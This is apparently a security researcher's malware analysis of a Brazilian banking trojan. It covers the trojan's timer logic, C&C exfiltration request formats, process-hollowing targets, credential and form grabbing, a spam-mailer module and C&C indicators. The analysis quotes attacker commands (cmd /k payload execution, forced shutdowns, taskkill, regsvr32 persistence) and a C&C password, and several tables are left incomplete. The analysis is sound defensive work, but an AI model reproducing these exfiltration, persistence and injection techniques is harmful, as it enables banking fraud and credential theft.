Timer 13 (watcher, interval 1s)

This timer keeps track of running applications and opened browser windows and tabs. Furthermore, when the file pblq<time>.ini is present, a function TaskKill (see Appendix A.3) is executed, killing browser processes along with targeted banking applications. The interactions of this timer with other timers are listed below:

ConditionEnabled timersIntervals changed
pblq<time>.ini existsTimer 13 (watcher)
mozilla window class found;
A string is found:
“aplicativo ita”
Timer 14 (partizan)
A string is found:
Timer 19 (ping)
Timer 25 (snitch)
Timer 26 (snitch)
Timer 13
2 seconds
A strings is found:
Timer 14 (partizan)
Timer 22 (null sub)

The existence of several banking applications is checked by accessing the following paths:

C:\Program Files (x86)\AppBrad\AplicativoBradesco.exe
C:\Program Files\AppBrad\AplicativoBradesco.exe
C:\Users\%username%\AppData\Local\Aplicativo Itau\itauaplicativo.exe

If one of these is found, the module tries to find windows with names:

Aplicativo Bradesco, AplicativoBradesco.exe, Navegador Exclusivo 3, MozillaWindowClass, Ita, aplicativo ita, SunAwtFrame, PuTTY

The existence of such windows triggers a hijack of specific hotkeys (ALT + VK_ESCAPE, ALT + VK_F4, ALT + VK_TAB , VK+LBUTTON) in order to prevent the user from switching or closing the window. The application itauaplicativo.exe is a small exception as the key combination VK+LBUTTON is not hooked if it is detected.

If a PuTTY window is detected, a screenshot is taken, compressed (using zlib library) and saved to a file .\vri\<NETBIOS name>_<Volume ID>_byte<counter>.jpg. Afterwards, it is sent to the C&C server via this GET request:

http://<second-level C&C domain>/?3=Base64(Base64(puxa<NETBIOS name>_<Volume ID>xONLINE_UNI_x), Base64(section2))

At this phase, a “flag” file xconf40.log is created, too.

This timer also contains a lookup for windows of a few prevalent browsers (via their class name): 

iefram (Internet Explorer)
mozilla (Mozilla Firefox)
chrome (Google Chrome)
ApplicationFrameWindow (Edge)

If any of these windows are detected, a lookup for child windows, which can either be tabs or pop up windows, is initiated, again by the object’s class name:

Internet_Explorer_Server (Edge, Internet Explorer)
Chrome_RenderWidtetHostHWND (Google Chrome)
MozillaWindowClass (Mozilla Firefox)

Then, the malware tries to search for strings in these browser windows (or more specifically URLs of opened sites). Each set of strings, note that these sets are disjunct, triggers some actions. These actions may entail screenshotting (screenshot is compressed with zlib and saved to .\vri\<NETBIOS name>_<Volume ID>_byte<counter>.jpg), hooking and disabling specific key combinations, effectively preventing the user from changing the window or closing the browser tab; these combinations are:


These sets also trigger a GET request:

http://<second-level C&C domain>/?3=Base64(Base64(puxa<NETBIOS name>_<Volume ID>x<param>), Base64(section2))

and create a flag file xconf<flag file number>.log.

URL setFlag file numberParameterAdditional actions
.cdg.bb2xONLINE_GF_TOKEN_xkey combinations disabled
3xONLINE_CF_xscreenshot and key combinations disabled

If matched sets, along with PuTTY windows are found, they are noted down for further use by Timer 19 (ping).

Timer 14 (partisan, interval 2s)

This timer is a “second” stage of Timer 13 (watcher). Once Timer 13 detects a tracked behavior, it triggers Timer 14, which will inject a payload into a specific process. The specifics are governed by the content of the opened windows and the OS version. Below is a picture containing a high-level overview of the event’s functionality below:

High-level overview of Timer 14 functionality.

The following window class names will trigger an injection via process hollowing:

iefram, chrome, mozilla, customrou, sunawtframe, BUTTONCLA, HwndWrapper, ApplicationFrameWindow, Bradesco

If none of the following window class names exists, Timers 24 (garbage collector) and 14 (partisan) are turned off. Additionally, Timer 13 (watcher) is turned on, too.

The decision tree behind these actions also creates log files containing handles to these windows. The log file name format is hd<log_number>sys<a|b|c|d>.log, where a, b, c, and d are used when the windows class is iefram, chrome, mozilla, or other class respectively. As mentioned before, these log files are then used by module rakpat0rpcackdwwn.gif (RAT module).

ConditionAction 1Action 2 14 interval to 2s
Load DWWN module
log_number = 1
Timer 14 interval to 7s
Load DWWN module 14 interval to 2sLoad DWWN modulelog_number = 2
Timer 14 interval to 7s
Load DWWN module
aplicativo ita
Timer 14 interval to 10s
Inject DX module
log_number = 3
Inject  DX (see table below) module
Timer14 interval to 5ms
Aplicativo Bradesco
Navegador Exclusivo 3
Timer 14 interval to 2s
Load DWWN module
log_number = 4 (for APP)
Timer 14 interval to 7s
Load DWWN module
bradescoconetempresaTimer14 interval to 2s
Load DWWN module
log_number = 4 (for browsers)
Timer 14 interval to 7ms
Load DWWN module
SunAwtFrameTimer 14 interval to 2s
Load DWWN module
log_number = 5
Set Timer 14 interval to 7s
Load DWWN module
Timer 14 interval to 2s
Load DWWN module
log_number = 6
Timer 14 interval to 7s
Load DWWN module
Timer 14 interval to 2s
Load DWWN module
log_number = 7
Set Timer 14 interval to 7s
Load DWWN module
Timer 14 interval to 2s
Load DWWN module
log_number = 8 or log_number = 9 if “_GF_TOKEN_x” flag found
Timer 14 interval to 7s
Load DWWN module
Timer 14 interval to 2s
Load DWWN module
log_number = 15
Timer 14 interval to 7s
Load DWWN module
Timer 14 interval to 2ms
Load DWWN module
log_number = 16
Timer 14 interval to 7s
Load DWWN module

The following table describes possible targets for the injection, provided itauaplicativo.exe was detected, of the module rakpat0rpcackdx.gif (RAT module):

ConditionsInjected processes (if the path leads to a file)
OS version
5.1, 6.0, 6,1
C:\Program Files\AVAST Software\Avast\aswRunDll.exe
C:\Program Files\Diebold\Warsaw\unins000.exe
C:\Program Files (x86)\Internet Explorer\iexplore.exe
C:\Program Files\Internet Explorer\iexplore.exe
OS version
6.2, 6.3, 10.0
%LocalAppData%\Aplicativo Itau\itauaplicativo.exe
OS version
5.1, 6.0, 6.1, 6.2, 6.3, 10.0
C:\Program Files\AVAST Software\Avast\aswRunDll.exe
C:\Program Files\Diebold\Warsaw\unins000.exe

The OS version numbers correspond to specific versions of MS Windows: Windows XP (5.1), Windows Vista (6.0), Windows 7 (6.1), Windows 8/8.1 (6.2/6.3), Windows 10 (10,0).

If any of these conditions are met, a desktop named default_set is created, an explorer.exe process is created and Timer 14’s interval is set to 5 seconds.

Timer 16 (dispatcher , interval 900s/2700s)

An address is picked from the second list of C&C addresses (Appendix A.2.) and the timer’s interval is set to 2,700 seconds. A GET request is sent to this server, its response is a Base64 encoded string of the format:


This executes a command:

cmd /k \raptor\<filename>

If a valid command is received, the timer interval is set to 31,200 seconds.

Timer 17 (screenshot post, interval 0.1s)

A POST request is sent to an address http://<second-level C&C domain>. Data in the POST request is in Base64([<Base64 encoded screenshot>,<Base64 encoded path>]). The POST data contains a screenshot (loaded from .\vri\<NETBIOS name>_byte<counter>.jpg) and its relative path.

When all available screenshots are sent, the timer disables itself.

Timer 18 (bot, interval 30s)

When a file logx1 exists, the C&C server is contacted using a GET request

http://<second-level C&C domain>/?<20-30 random characters>=Base64(Base64(<windows>_<NETBIOS name>_<Volume ID>cmd.html)Base64(“section7”))

where the windows variable is given by matched file flags xconf<number>.log (set mostly by Timer 13). More specifically, these flags are transformed into strings:

xOK_, xBBx_, xGFx_, xCEFx_, xUNIx_, xPUTTYx_

Note that naturally a device may have multiple matches. In this case, corresponding strings are concatenated.

The response contains a message in the following format:

$<cmd>*<number of xconf files>*<unknown>*<C&C URL>*<path to process to be injected>*<cmd creating a process>*<sleep counter>

The table of respective commands is listed below:

Command hex valueDescription
0x384Create desktop “xrakpat0rpcack1111x22”
Another malicious file is received. This file will be injected via process hollowing into one of the following processes:
“C:\Program Files\Diebold\Warsaw\unins000.exe”
0x387Switch to the desktop “xrakpat0rpcack1111x22” and create process:
“C:\Windows\SysWOW64\explorer.exe” or
Same as commands 0x385 but different process is injected:
“C:\Windows\SysWOW64\svchost.exe” or
0x38ASame as commands 0x385 but different process is injected:
“C:\ProgramFiles\Diebold\Warsaw\unins000.exe” or
“C:\Windows\SysWOW64\svchost.exe” or
0x38BSame as command 0x385 but different process to inject:
“C:\Program Files\Diebold\Warsaw\unins000.exe” or
“C:\Windows\SysWOW64\svchost.exe” or
0x38CSwitch to the desktop “default”
Same as command 0x385 but different process to inject:
“C:\Program Files\Diebold\Warsaw\unins000.exe” or 
“C:\Program Files (x86)\Internet Explorer\iexplore.exe” or
“C:\Program Files\Internet Explorer\iexplore.exe”
0x390Save downloaded file from the C&C into the memory, fix its imports and save pointer to that memory into a global variable.
Receive a malicious file, save it to a working directory under a name that was sent with this command and inject it into iexplore.exe.
Same as commands 0x391, but another file will be used for injection:
“C:\Program Files\Diebold\Warsaw\unins000.exe”
0xD1Download a file from the C&C, save it as ievx.exe, and execute command:
cmd /k \raptor\ievx.exe
0x12BDownload a file from the C&C, save it as ievx.exe.
0x14DTurn on Timer 28.
0x14ATurn off Timer 28.
0x2C4Deletes flag files:
\raptor\xconf1.log, \raptor\xconf2.log, \raptor\xconf3.log, \raptor\xconf4.log, \raptor\logx<number>
0xBSaves internal state and configuration data to \raptor\pblq<time>.ini
0xEDSend log files to the second-level C&C server.
<NETBIOS name>_<VolumeID>_log<number>.html
<NETBIOS name>_<Volume ID>_logs.html
0x11Send POST request to the C&C server that contains a specific screenshot file. The data contains a Base64 encoded screenshot and its Base64 encoded path.
0x10Send all screenshots to the C&C server via POST request.
0x0FWrites URL address received from the C&C server, to logx<number>.
Afterwards, all log files are sent to the C&C:
<NETBIOS name>_<VolumeID>_log<number>.html
<NETBIOS name>_<Volume ID>_logs.html
0x0ECopy data from the file logx<number> to
<NETBIOS name>_log<number>.html.
Save filenames of all log<number> files into <NETBIOS name>_logs.html.
Send both files to the C&C server via POST request.
0x27EAlmost the same as Timer 25 (snitch); however, also converts the timestamp of the files listed in Appendix A.4 from UTF to local time.
0x27FExecute commands:
cmd /k shutdown -r -t 0 -f
cmd /k shutdown -r -t 1 -f
cmd /k shutdown -r -t 0 -f
0x280Saves unknown data to file pblqxx<time>.ini
0x281Deletes files:
0x282Deletes files:
0x283Deletes files:
0x284Deletes files pblqnnn<time>.ini
0x285Saves unknown data to the file pblqxxyy.ini and enables Timer 23 (null stub).
0x286Saves unknown data to the file pblqrr<time>.ini
Depending on the configuration state, creates some of these files:
xconf1.log, xconf2.log, xconf3.log, xconf4.log, xconf5.log, xconf6.log
0x28CWrites down malware version to the file logx<number>. Sends this file to the second-level C&C server.
0x29AIt may change address of second-level C&C address to:
http://<second-level C&C>/0<number>/01
The number may range from 2 to 7.

Timer 19 (ping, interval 40s)

Timer 19 sends a GET request to the second-level C&C server:

http://<second-level C&C domain>/?3=Base64(Base64(puxa<NETBIOS name>_<Volume ID>xONLINE<windows>), Base64(section2)),

where a windows variable is given by matched software flags set by Timer 13 (watcher). Similarly to Timer 18; only this time, the same strings as in the case of Timer 13 are used.

Moreover, if a file pblq<date>.ini exists, another GET request is sent:

http://<second-level C&C domain>/?3=Base64(Base64(puxa<NETBIOS name>_<Volume ID>xONLINE<windows>x_PAREDE_NELE_x), Base64(section2))

Also several key combinations (CTRL + W, SHIFT + W, ALT + W, F10, ALT) are disabled.

Timer 20 (watchdog, interval 3s)

When the file pblqxx<time>.ini does not exist, the following command is executed:

cmd /k shutdown -r -t 0 -f

Timer 21 (screenshotter, interval 5s)

A screenshot of a desktop is made and saved to .\vri\<NETBIOS name>_byte<counter>.jpg. Afterwards, the timer disables itself.

Timer 24 (“garbage collector”, interval 2s)

If none of the following class names exists, the memory of rakpat0rpcackdwwn.gif (RAT module sending GET requests to multiple C&C servers (Appendix A.1)) is freed and Timer 13 (watcher) is enabled:

ieframe (iexplorer.exe)
sunawtframe (Java Swing in browser)
HwndWrapper (Windows SDK window class)
ApplicationFrameWindow (generic window class in windows)
Bradesco (Banco Bradesco application)

Timer 25/26 (snitch, interval 2s)

Checks the class name of the foreground windows against this list:

IEFrame, PuTTY, ApplicationFrameWindow, mozilla, sunawtframe, chrome

When the foreground window matches one of these, information is collected from several files (auid.log, auid<malware_version>xx.log and auid.ini), added to telemetry information (malware version, OS version, user privileges – SUPER_USER or UAC_ATIVO), active application identificator (Cliente: BB/GF/CEF/BANRI/PUTTY), classname, path to itself, and a server to which the data will be written in a global variable. This global variable is then saved to <NETBIOS name>_<Volume ID>_log<time d>.html and after encoding to Base64 also this information is sent via a POST request to:

http://<second-level C&C domain>/?Base64(<Base64 encoded path the file><ditto>)

The same request is also sent to the same address, but the file path has log<time d> replaced by logs

At the end of the Timer 25 event, Timers 13 (watcher), 17 (screenshot post), and 18 (bot) are enabled and Timers 19 (ping), 22 (null stub), 25 (snitch), 26 (snitch) are disabled.

Interestingly, Timer 26 has its own global variable that is compared to the “standard” telemetry global variable at its event’s beginning. If the content of these two variables is the same, Timer 26’s event ends. Furthermore, Timer 26 does not contain any timer manipulations and it does not temporarily disable its own ticks.

Timer 27 (installer, interval 60s)

A GET request is sent to a server hxxp://, possibly to track new infections. Afterwards, if the file pblqxxyy.ini exists, Timer 23 (null stub) is enabled.

This is followed by a registry cleanup – these values are removed from the Run registry:

Java_Plugin_UserInit, Java_Plugins, Java_Plugin_vs102, Java_Plugin_17.0920103, Java_Plugin_17.0920104, Java_Plugin_17.0920105, Java_Plugin_17.0920106, Java_Plugin_17.0920107, AddOns_17.0920109, AddOns_17.0920110, AddOns_17.0920112, Java_Plugin_AddOns_18.0920113, Java_Plugin_AddOns_18.0920114, Java_Plugins_AddOns_18.0920115, Java_Plugins_AddOns_18.0920116, Java_Plugins_AddOns_18.0920117, Java_Plugins_AddOns_18.0920122, Java_Plugins_AddOns_18.0920123, Java_Plugins_AddOns_18.0920124, Java_Plugins_AddOns_18.0920125, Java_Plugins_AddOns_18.0920126, Java_Plugins_AddOns_18.0920127, WinChromeUpdate201806xx0128, WindChrome.Plug00ADEK91020129, SysDir.PLUGS.SOUND132, Realtek.SOUND133, Realtek.SURROUND134, Realtek.SURROUND135, Drive.SURROUND%userName%, chrome.updatesys%userName%, Driver.updatesys%username%

Similarly, the malware is added to the Run registry keys by executing the command:

regsvr32.exe /s "\raptor\rakpat0rpcack64",

the registered file is the initial loader of the malware. Afterwards, the timer disables itself.

Timer 33 (injector, interval 2s)

Time 33 injects rakpat0rpcackc.jpg (data extractor), a data extractor module, into:

C:\Program Files\Diebold\Warsaw\unins000.exe

Afterwards, the timer disables itself.

KeyRelease event

At the beginning, the KeyRelease event checks whether there’s a window handle saved in a global variable. If it is not found, the event ends. Otherwise, browser windows (or more specifically Java classes sunawtframe, sunatcanvas, sunawtdialog) are checked for the  Brazilian banking URLs:

Additionally, the event checks for a running PuTTY instance. If a URL listed above is found or PuTTY is running, the module starts sniffing keys Enter, Backspace, Delete, Alt, Caps Lock, Ctrl; these are logged in the global variable containing telemetry data (in the form [key]). Furthermore, if pblq<time>.ini exists, the event will execute TaskKill (see Appendix A.3). 

MouseRelease event

If the file pblq<time>.ini exists, TaskKill (see Appendix A.3) is executed. Afterwards, active windows are searched for class names sunawtframe, sunatcanvas, sunawtdialog. If at least one of them is found, a screenshot is created (saved after compression to .\vri\<NETBIOS name>_byte<counter>.jpg). Additionally, UI elements of the aforementioned windows are searched for the strings listed in the table below. If the combination of URL opened in the window and one of the corresponding strings is found, the corresponding actions are executed.

bloqueto de cobran
incluir aposta
xconf4.log file is created
pessoa jur
Outras Contas
Minha conta
Contas de empresa
Enable Timer 21 (screenshotter)
conta corrente
Enable Timer 21 (screenshotter)

Version updates

Version 139, discovered at the end of April 2019, brought a significant extension to this module. The list of recognized domains in Timer 13 has been hugely extended (see Appendix A.5, domains are split according to regions); correspondingly, the list of flag files has been extended by xconf91.log,…, xconf98.log. Similarly, the list of flags in Timer 18 has been extended by several strings (corresponding to files xconf91.log,…, xconf98.log):


Unsurprisingly, the suffix after xMUNDIx_ corresponds to the regions that are targeted by the respective domain (e.g. xMUNDIx_UY contains domains having Uruguayan top level domain).

SuffixFlag fileRegion

The language restrictions have also been changed. Since version 139, the module does not limit itself to computers with Portugese localization, it halts on computers running English localization instead.

Module C (data extractor)

SHA256: 3c5bd1d99b5fe981172e49549ad01b535d2be4d851ce457875022a98dd7cdf7e

This module is capable of stealing login credentials and credit card details from various webmail services, payment systems, social media sites, e-commerce and other web pages. It also steals email contacts from desktop email clients like Outlook, TheBat, Thunderbird, Apple Mail and others.

The core functionality is triggered by a timer with an interval of 90 seconds that is enabled if and only if the file C:\Users\Public\Libraries\<username>sys64.log does not exist.

This lock file is then created by tmrKum5 at the end of its associated event.

The C&C structure for this module is the same two-level structure that is used by RAT modules. In short, whenever necessary, a first-level C&C (see Appendix D.1) is chosen from the list and contacted by HTTP at <first-level C&C domain>//09/dsct.txt. The response may contain a second-level C&C server domain protected by a simple substitution cipher with a custom alphabet. For more details, see the description of the retrieval protocol in the description of the module DWWN.

Browser closer

The module executes a timer that periodically checks for window classes mozilla (Mozilla Firefox/Thunderbird), CoreWindows (Windows Universal Platform windows), chrome (Google Chrome). If any such window is in the foreground, the key combination CTRL+W is pressed, to close the tab or the browser window. Afterwards, the window is closed via the API function PostMessageA.

Desktop email client stealer

The module checks for predefined, desktop email client related files and tries to steal saved contacts and also tries to parse certain email’s To, From, and CC tags.

Whenever any such file is found, metadata is extracted, validated, and the extract is immediately sent to a second-level C&C. The validation checks e.g. the email address format.

Also for emails, only a subset of top-level domains is of the module’s interest (.com, .br, .net, .in, .ar) narrowing down the localization to two common international domains and three national ones (Brazil, India, and Argentina).

Targeted files / email clients:

DBX, MBX - Outlook Express
WAB - Windows Address Book
TBB - TheBat!
EML - various clients
MBOX - Thunderbird, Apple Mail,..

Browser form grabber

The form grabber starts during the initialization. It periodically checks browser windows to see whether they contain specific strings or not. The target list is wide and heavily focused on Brazil. We can find big Brazil e-commerce sites, payment systems, consulting services, travel services, flight tickets systems, airlines, webmails or hosting providers and many others; see Appendix D.2-6 for more details. If a match is found, a second timer is triggered; in some cases, the module also attempts to log the user out. One notable exception is Netflix, which is only redirected to, a page containing Netflix billing information.

The second timer tries to access the content of the window and parse the HTML. The content is matched against various element IDs, element options, or expected inputs. If anything matches these rules, the corresponding data is extracted and immediately sent to the second-level C&C server.

Module E (Mailer module loader)

SHA256: 50a4c3c2d0e8835e64e3a679a97dd8afd4807797222b581a5f86686d38c17816

This module loads and injects Module F into a targeted file. The main code is almost the same as in XA+XB, with the same targeted files (userinit.exe, unins000.exe) and injection technique.

Module E includes some kind of re-initialization method which is executed every 93 seconds. The algorithm searches for the files created by module F (*.lig, *.deslig) and deletes them if they exist. It also closes the window with a name dybuk.

An interesting feature in module E, is watching windows error dialogs and closing them manually using the PostMessageA API function.

If a file dybuk.block exists, module E is terminated. This file is created by module F.

Module F (Mailer)

SHA256: 8bd623f83f23e9ad4b37e0c88866c6a55eba19f4607fd472d46368ab5f7538f6

This module is used to distribute spam messages. Its C&C servers have, again, two levels – a first-level C&C is contacted in order to obtain the location of the second-level C&C.

The second-level C&C then provides the bot with information, such as the location and credentials of the SMTP server to connect to, the recipients of the spam messages, and the headers and bodies of the spam messages. Unfortunately, none of the first-level C&Cs gave us the location of the second-level C&C at the time of analysis, so we were not able to extract the actual configuration and had to resort to static analysis of this module.

The module does not receive the exact body of the spam message it is supposed to send, but instead a template, describing the email bodies, is sent. The template might contain placeholders that are substituted with their respective values before the actual email is sent. For example, the spam messages often contain links to malicious content. Instead of hard-coding a single link in the email body, the placeholder [LINK] is used which is then substituted with a random link from the bot configuration. Some of the placeholders’ primary purpose is to probably mutate the email bodies in order to make them harder to detect. Other purposes of the placeholders is to make the spam messages appear more personal in an attempt to be more effective at phishing. The following placeholders are supported:

[RAND2]Random number in the range 0,…,33
[RAND1]Random number in the range 0,…,59
[RAND]Random number in the range 0,…,36
[DATA]Current date in the format dd/mm/yyyy
[HORA]Current time in the format hh:nn:ss
[EMAIL]Sender’s email address
[NOME]Substring of EMAIL before “@” symbol, first character uppercase, the rest is lowercase
[R-EMAIL]Recipient’s email address
[R-NOME]Ditto NOME but with R-EMAIL
[LINK]Random link from the file links.txt

Note that these placeholders are partly in Portugese (hora = hour, nome = name).

This module’s configuration is initialized in phases. There is a global phase_num variable that starts at 0. Then, in the TmrFases timer, a particular initialization subtask is performed according to the current phase_num value. After the subtask was completed successfully, the phase_num variable is incremented. Notably the location of the second-level C&C is recovered in phase 0. The main goal of this initialization is to recover all the variables required for the email composition. 

Intriguingly, files generated by this module have a shared hard-coded prefix dybuk. Moreover, they share the working directory (C:\Users\Public\Libraries\<campaign_download_dir>) with the rest of the modules. Specific files are handled by adding a suffix containing the file extension .vrx and sometimes even several preceding characters l.log.

Phase 0

This phase does more-or-less the same second-level C&C retrieval as module DWWN. In short, a first-level C&C (this time from Appendix B.1) is contacted periodically with the interval being extended with each unsuccessful attempt. An HTTP request to <first-level domain>//09/dsct.txt is made. The response sets two cookies:

Cookie: btst=135cc8312577adf8f54ba5a1500e76c8||1550221274|1550221270|0|1|0; snkz=

This cookie can be decoded in the following way:

snkzClient’s IP address
btst<ID>|<IP>|<last time>|<first time>|<elapsed last>|<req number>|<last res number>

Where ID corresponds to the session ID, IP to the client’s IP address, last time to the last request’s timestamp, first time to the first request’s timestamp, elapsed last denotes time elapsed since the last request, and the last two variables are request number and the number of the last response.

Unfortunately, we haven’t been able to confirm whether other second-level C&C (used by other modules) exhibited the same cookie behaviour. We conjecture that it should be the case.

If the response contains any data in the HTTP body, it should correspond to an encrypted second-level C&C address. The second-level C&C address is encrypted with the same substitution cipher as module DWWN.

Successful C&C address retrieval triggers phase 1.

An example of the phase 0 communication.

We do not know why the cookie structure is so needlessly complicated. We speculate that there are some server-side checks whose purpose is to make it harder for malware analysts to retrieve the second-level C&C address. However, we have simulated this communication exactly as it would be from a real victim and, so far, we have been unsuccessful in retrieving second-level C&C’s — we have only received empty HTTP bodies. We assume that this spammer module isn’t currently active and that the malware authors only enable it occasionally, only when they have a spam payload to send.

Phase 1 – Phase 9

The following phases, with the exception of phase 3, are rather simplistic. They mostly entail data retrieval. The data is then dumped onto the disk to be used later during the email composition. Note that Portuguese words are again used in phase 3 (ativo = activated, desativo = deactivated).

Interestingly, some information, such as the state, is passed through the text of various form elements. Thus, e.g. the state is represented by a text of Button1 and can be either ativo (activated) or desativo (deactivated). For phases 1-8 successful execution means that the phase will be incremented unless stated explicitly otherwise.

Phase no.Description
Phase 1Setup the log file.
Phase 2Send GET request to <2-level C&C>/ and save the response to:
This file contains information such as the location of the SMTP server, and username/password for authentication. 
Phase 3In this phase, this module’s state is set to active and if no email has been sent so far, a test “ping” email is sent to a hard-coded email address. This probably serves as a means providing statistics to the malware’s author. This may be described in more detail by the following pseudocode:
IF state == “desativo” AND quantity == 0: // deactivated, nothing sent
state = ativo
    Send a test email
        Recipient: pedro.aragao18@bol[.]
         Subject: mail test
        Body: HELLOOOOOOW!!!!!-xxxx0137
    phase = 4
state == “desativo” AND quantity > 0: // deactivated
state = ativo
    write to C:\Users\Public\Libraries\raptor\dybuk.on
    phase = 5
state == “ativo” AND quantity > 0: // activated, functional
    phase = 5
Phase 4Cleanup after sending the test email.
Phase 5Send GET request to <2-level C&C>/ The response is the actual email message template.
Phase 6Send GET request to <2-level C&C>/assunto.txt, the response should contain the message subject.
Phase 7Send GET request to <2-level C&C>/from.txt, the response should contain value for the EMAIL variable.
Phase 8Send GET request to <2-level C&C>/links.txt. A random link from the response is used as a substitution for the [LINK] placeholder.
Phase 9Enable tmr_puxa_email timer.

Timers strike again!

The remaining functionality of this module is also implemented through TTimer events and all of them are children of the main TForm. Interestingly, there is not a uniform naming convention – there are object’s using default names (Timer1), and Hungarian notation either using camelcase (tmrFinaliza) or underscore-separated names (tmr_puxa_email). For the sake of simplicity, only the timers with special functionality will be listed. The rest contains either empty events or contains rather generic code. Moreover, the listed timers reconfigure their intervals with each run to a random value ranging from tenths of seconds to several minutes.

tmr_puxa_email (pull-email timer)

This timer is started when all initialization phases from tmr_fases_timer have been finished (spammer is activated and all configuration has been downloaded).

It sends an HTTP request to:

<2-level C&C>//9/master/cmd.php?pass=supremo2012&log=vs_k_<TForm1_handle>_<malware_version>_<filename>&qnt=<quantity>

The variable filename contains the image filename with .exe stripped, quantity corresponds to the total number of emails sent. We have no idea why the malware authors would want to send the <TForm1_handle> handle in this request. It could either be a check for a specific sandbox, or they just simply wanted to send something else and this is a bug. The response may contain several commands:

reabrir(reopen)Terminates application
zerar(clear)Set quantity to 0
Execute cmd /k shutdown -r -t 0 -f

Alternatively, if the response contains another URL, it sends an HTTP request to it and thus obtains the list of intended email recipients. Then, it passes the control to the Button1 click handler by simulating a click on Button1. The Button1 click handler then checks if the .vrx file (SMTP configuration) exists and if it does, it spawns a new thread in order to actually send the spam emails.


Writes down the current value of quantity (number of sent emails) into files:



This timer is called “on demand” by the email sender thread just before the connection to the SMTP server is terminated.

It resets the phase to 5 and sets the tmr_puxa_emailTimer interval to a value between three and five seconds. Then, it also reenables the tmr_fasesTimer in order to rerun phase 5 and higher. This effectively makes the bot reload new spam message templates along with new message subjects and malicious links.

3rd party modules: 

Module A – Mail PassView v1.78
SHA256: cb55744f0ea9b02f928b356b5227d69136c9df38b1e28fb047bd18714dfa3b70

Module B – WebBrowserPassView v1.26
SHA256: 762f962251800b0028a90b53a50503558fff9116c43fccdab376a05fdd03e27e

Both modules are outdated versions of NirSoft password recovery tools. They use old versions (from 2012) probably because Nirsoft disabled command line support for their tools in 2014. Because of this change, they can’t run it silently without a visible main window and interaction. However, it does not matter, because this old version also works on current browsers and desktop email clients.

Both modules are injected and executed via module G.

Module B (WebBrowserPassView) has a very long history. The malware authors have been using this XORed module (and Shift-XOR algorithm seed) since 2015. Also, the name convention (* is still the same.

VirusTotal submission history:


A. Module G

A.1 Server list 1


A.2 Server list 2


A.3 TaskKill

taskkill /f /im iexplore.exe
taskkill /f /im firefox.exe
taskkill /f /im chrome.exe
taskkill /f /im opera.exe
taskkill /f /im safari.exe
taskkill /f /im MicrosoftEdge.exe
taskkill /f /im AplicativoBradesco.exe
taskkill /f /im itauaplicativo.exe
taskkill /f /im java.exe
taskkill /f /im javaw.exe

A.4 File paths

C:\Program Files\Internet Explorer\iexplorer.exe
C:\Program Files\Mozilla Firefox\firefox.exe
C:\Program Files (x86)\Mozilla Firefox\firefox.exe
C:\Program Files\Google\Chrome\Application\chrome.exe
C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
C:\Program Files\Diebold\Warsaw\core.exe
C:\Program Files\Diebold\Warsaw\mw.dbd
C:\Program Files\Diebold\Warsaw\gas.dbd
C:\Program Files\Diebold\Warsaw\gas.hisc
C:\Program Files\Diebold\Warsaw\
C:\Program Files (x86)\Diebold\Warsaw\core.exe
C:\Program Files\Diebold\Warsaw\unins000.exe
C:\Program Files (x86)\Diebold\Warsaw\unins000.exe
C:\Program Files\Banco do Brasil\Assinatura Digital\bb-smartcards.exe
C:\Program Files (x86)\Banco do Brasil\Assinatura Digital\bb-smartcards.exe
C:\Program Files\AVAST Software\Avast\aswRunDll.exe
C:\Program Files (x86)\AVAST Software\Avast\aswRunDll.exe
C:\Program Files\AppBrad\AplicativoBradesco.exe
C:\Program Files (x86)\AppBrad\AplicativoBradesco.exe
C:\Users\%username$\AppData\Local\Aplicativo Itau\itauaplicativo.exe

A.5 Version 139: targeted online bank services














B. Module F

B.1 1-level C&Cs

<number>danaliticsx00220a[.]com (up to 30analiticsx00220a[.]com)


C.1 Server list

02/2019 v137


03/2019 v137


04/2019 v138


04/2019 v139


05/2019 v139


06/2019 v140


C.2 Downloaded file names


D. Module C

D.1 Server list


D.2 Targeted web email services[.]com[.]com[.]com[.][.][.]com[.]com[.]com[.]com

Patterns of interest


D.3 Targeted social sites/media:


D.4 Targeted payment services:


D.5 Targeted e-commerce/e-shops:


D.6 Miscellaneous targeted urls:


E. Module DWWN

E.1 Server list

Megatronico[.]xn--6frz82g  (IDN address megatronico[.]移动)
Xn--80aaalggjw6a2a[.]site  (IDN address казагранде[.]site)
Xn--lckko7eri8b[.]pw       (IDN address カサグランデ[.]pw)